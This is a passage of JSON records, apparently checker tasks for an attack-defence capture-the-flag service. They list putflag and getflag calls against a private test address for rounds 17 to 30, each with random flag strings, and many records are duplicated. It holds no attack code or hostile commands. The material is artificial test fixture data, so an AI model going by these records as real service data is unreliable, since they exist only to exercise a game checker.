- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r17_t0_i1",
- "taskId": 17,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 18,
- "flag": "\ud83e\udd7alwYPp68wWDiRfYGpx+qZj+CoTzCKKtPXjmZN5YcsbYVsb4iQ\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 18,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r18_t0_i1",
- "taskId": 18,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 18,
- "flag": "\ud83e\udd7alwYPp68wWDiRfYGpx+qZj+CoTzCKKtPXjmZN5YcsbYVsb4iQ\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 18,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r18_t0_i1",
- "taskId": 18,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 18,
- "flag": "\ud83e\udd7aTbELtjhCOb/FAfL4jxjMWK6HEnFl+6xJOEqT8iJKXFLGq2A8\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 18,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r18_t0_i3",
- "taskId": 18,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 18,
- "flag": "\ud83e\udd7aTbELtjhCOb/FAfL4jxjMWK6HEnFl+6xJOEqT8iJKXFLGq2A8\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 18,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r18_t0_i3",
- "taskId": 18,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 18,
- "flag": "\ud83e\udd7alwYPp68wWDiRfYGpx+qZj+CoTzCKKtPXjmZN5YcsbYVsb4iQ\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 18,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r18_t0_i1",
- "taskId": 18,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 18,
- "flag": "\ud83e\udd7alwYPp68wWDiRfYGpx+qZj+CoTzCKKtPXjmZN5YcsbYVsb4iQ\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 18,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r18_t0_i1",
- "taskId": 18,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 19,
- "flag": "ENOVqcvG5rrtztaAo2GWrzcuNPhvlxST5GyJmCfGTde8mHeDggD",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 19,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r19_t0_i0",
- "taskId": 19,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 19,
- "flag": "ENOVqcvG5rrtztaAo2GWrzcuNPhvlxST5GyJmCfGTde8mHeDggD",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 19,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r19_t0_i0",
- "taskId": 19,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 19,
- "flag": "ENOVqcvG5rrtztaAo2GWrzcuNPhvlxST5GyJmCfGTde8mHeDggD",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 19,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r19_t0_i0",
- "taskId": 19,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 19,
- "flag": "ENOVqcvG5rrtztaAo2GWrzcuNPhvlxST5GyJmCfGTde8mHeDggD",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 19,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r19_t0_i0",
- "taskId": 19,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 19,
- "flag": "ENOVqcvG5rrtztaAo2GWrzcuNPhvlxST5GyJmCfGTde8mHeDggD",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 19,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r19_t0_i0",
- "taskId": 19,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 19,
- "flag": "ENOVqcvG5rrtztaAo2GWrzcuNPhvlxST5GyJmCfGTde8mHeDggD",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 19,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r19_t0_i0",
- "taskId": 19,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 20,
- "flag": "\ud83e\udd7awI5lzWZhcLiapFdjdOzxDcg+hKsDfkFdJkOfSASNpM2tF/SU\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 20,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r20_t0_i0",
- "taskId": 20,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 20,
- "flag": "\ud83e\udd7awI5lzWZhcLiapFdjdOzxDcg+hKsDfkFdJkOfSASNpM2tF/SU\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 20,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r20_t0_i0",
- "taskId": 20,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 20,
- "flag": "\ud83e\udd7awI5lzWZhcLiapFdjdOzxDcg+hKsDfkFdJkOfSASNpM2tF/SU\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 20,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r20_t0_i0",
- "taskId": 20,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 20,
- "flag": "\ud83e\udd7awI5lzWZhcLiapFdjdOzxDcg+hKsDfkFdJkOfSASNpM2tF/SU\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 20,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r20_t0_i0",
- "taskId": 20,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 20,
- "flag": "\ud83e\udd7awI5lzWZhcLiapFdjdOzxDcg+hKsDfkFdJkOfSASNpM2tF/SU\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 20,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r20_t0_i0",
- "taskId": 20,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 20,
- "flag": "\ud83e\udd7awI5lzWZhcLiapFdjdOzxDcg+hKsDfkFdJkOfSASNpM2tF/SU\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 20,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r20_t0_i0",
- "taskId": 20,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 21,
- "flag": "ENObrPjX/TnkcUDOAOprmdYWJEP+7IHHom/bfz1QHqwz6ec0OaK",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 21,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r21_t0_i1",
- "taskId": 21,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 21,
- "flag": "ENObrPjX/TnkcUDOAOprmdYWJEP+7IHHom/bfz1QHqwz6ec0OaK",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 21,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r21_t0_i1",
- "taskId": 21,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 21,
- "flag": "ENObrPjX/TnkcUDOAOprmdYWJEP+7IHHom/bfz1QHqwz6ec0OaK",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 21,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r21_t0_i1",
- "taskId": 21,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 21,
- "flag": "ENObrPjX/TnkcUDOAOprmdYWJEP+7IHHom/bfz1QHqwz6ec0OaK",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 21,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r21_t0_i1",
- "taskId": 21,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 21,
- "flag": "ENObrPjX/TnkcUDOAOprmdYWJEP+7IHHom/bfz1QHqwz6ec0OaK",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 21,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r21_t0_i1",
- "taskId": 21,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 21,
- "flag": "ENObrPjX/TnkcUDOAOprmdYWJEP+7IHHom/bfz1QHqwz6ec0OaK",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 21,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r21_t0_i1",
- "taskId": 21,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 22,
- "flag": "\ud83e\udd7acOZSNT4AS9inyY41nc6c4dbkW7GG/RELJBhk3CGwhpAJqsl/\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 22,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r22_t0_i1",
- "taskId": 22,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 22,
- "flag": "\ud83e\udd7acOZSNT4AS9inyY41nc6c4dbkW7GG/RELJBhk3CGwhpAJqsl/\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 22,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r22_t0_i1",
- "taskId": 22,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 22,
- "flag": "\ud83e\udd7acOZSNT4AS9inyY41nc6c4dbkW7GG/RELJBhk3CGwhpAJqsl/\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 22,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r22_t0_i1",
- "taskId": 22,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 22,
- "flag": "\ud83e\udd7acOZSNT4AS9inyY41nc6c4dbkW7GG/RELJBhk3CGwhpAJqsl/\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 22,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r22_t0_i1",
- "taskId": 22,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 22,
- "flag": "\ud83e\udd7acOZSNT4AS9inyY41nc6c4dbkW7GG/RELJBhk3CGwhpAJqsl/\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 22,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r22_t0_i1",
- "taskId": 22,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 22,
- "flag": "\ud83e\udd7acOZSNT4AS9inyY41nc6c4dbkW7GG/RELJBhk3CGwhpAJqsl/\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 22,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r22_t0_i1",
- "taskId": 22,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 23,
- "flag": "ENOFY4Yx5W7XBuEkFYzndr3G4zDGwC7xk9mAyMxVcdkTUuhirBK",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 23,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r23_t0_i0",
- "taskId": 23,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 23,
- "flag": "ENOFY4Yx5W7XBuEkFYzndr3G4zDGwC7xk9mAyMxVcdkTUuhirBK",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 23,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r23_t0_i0",
- "taskId": 23,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 23,
- "flag": "ENO3Y6LvYi+cfkn7gEqLCQc7wntm0/PR7bC/7rSFc7Z/a9DbYKs",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 23,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r23_t0_i0",
- "taskId": 23,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 23,
- "flag": "ENO3Y6LvYi+cfkn7gEqLCQc7wntm0/PR7bC/7rSFc7Z/a9DbYKs",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 23,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r23_t0_i0",
- "taskId": 23,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 24,
- "flag": "\ud83e\udd7aCtsDkkuHEA4HDKnFtYp+LNuvIFLl6V10NHv7297OyUllenIG\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 24,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r24_t0_i0",
- "taskId": 24,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 24,
- "flag": "\ud83e\udd7aCtsDkkuHEA4HDKnFtYp+LNuvIFLl6V10NHv7297OyUllenIG\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 24,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r24_t0_i0",
- "taskId": 24,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 24,
- "flag": "\ud83e\udd7avm/kam9AfChm0EDb43hDPgvr3dbR/G7meQ6N/uDXqXhWS4Bw\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 24,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r24_t0_i0",
- "taskId": 24,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 24,
- "flag": "\ud83e\udd7avm/kam9AfChm0EDb43hDPgvr3dbR/G7meQ6N/uDXqXhWS4Bw\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 24,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r24_t0_i0",
- "taskId": 24,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 25,
- "flag": "ENOV6tm71/n2R67lywctZ3knFdNVmfRkPrdB7S1YC/ma9S9TohB",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 25,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r25_t0_i1",
- "taskId": 25,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 25,
- "flag": "ENOV6tm71/n2R67lywctZ3knFdNVmfRkPrdB7S1YC/ma9S9TohB",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 25,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r25_t0_i1",
- "taskId": 25,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 25,
- "flag": "ENORJW/Cv6YBK1jvwcMN0NgSLIKEw4VHMIfBl+lIb50np0xUIcd",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 25,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r25_t0_i1",
- "taskId": 25,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 25,
- "flag": "ENORJW/Cv6YBK1jvwcMN0NgSLIKEw4VHMIfBl+lIb50np0xUIcd",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 25,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r25_t0_i1",
- "taskId": 25,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 26,
- "flag": "\ud83e\udd7a0s0HfdFlHUYEm5UhvanYfv4O9Sq948ZtcA4V4AhTRgFCmyHD\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 26,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r26_t0_i1",
- "taskId": 26,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 26,
- "flag": "\ud83e\udd7a0s0HfdFlHUYEm5UhvanYfv4O9Sq948ZtcA4V4AhTRgFCmyHD\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 26,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r26_t0_i1",
- "taskId": 26,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 26,
- "flag": "\ud83e\udd7abmFlEfnqwt5vltABoPw3mnLt9VsCSMUcXios9nx78bt8Pitx\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 26,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r26_t0_i1",
- "taskId": 26,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 26,
- "flag": "\ud83e\udd7abmFlEfnqwt5vltABoPw3mnLt9VsCSMUcXios9nx78bt8Pitx\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 26,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r26_t0_i1",
- "taskId": 26,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 27,
- "flag": "ENOGh6XW4sZnJpgxDd3MWb8Nf+W+Dhvm2OsCliu0etMfnUG+0Fn",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 27,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r27_t0_i0",
- "taskId": 27,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 27,
- "flag": "ENOGh6XW4sZnJpgxDd3MWb8Nf+W+Dhvm2OsCliu0etMfnUG+0Fn",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 27,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r27_t0_i0",
- "taskId": 27,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 28,
- "flag": "\ud83e\udd7a2u/AzfIvcDHUmCLE/+Sn8TD3snIm6hDGx9h60q0RD5i2CKjh\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 28,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r28_t0_i0",
- "taskId": 28,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 28,
- "flag": "\ud83e\udd7a2u/AzfIvcDHUmCLE/+Sn8TD3snIm6hDGx9h60q0RD5i2CKjh\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 28,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r28_t0_i0",
- "taskId": 28,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 29,
- "flag": "ENOp2sZX2VeAo7cDlgs/Ra0x9KHmeuYdeGHnP5+5nuI+moEt8V4",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 29,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r29_t0_i1",
- "taskId": 29,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 29,
- "flag": "ENOp2sZX2VeAo7cDlgs/Ra0x9KHmeuYdeGHnP5+5nuI+moEt8V4",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 29,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r29_t0_i1",
- "taskId": 29,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 30,
- "flag": "\ud83e\udd7a6Hxxt4CvuC5luZF7iqAZ7S5hPh07U3es7eXvA1Tm6Qt80P/R\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 30,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r30_t0_i1",
- "taskId": 30,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 30,
- "flag": "\ud83e\udd7a6Hxxt4CvuC5luZF7iqAZ7S5hPh07U3es7eXvA1Tm6Qt80P/R\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 30,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r30_t0_i1",
- "taskId": 30,
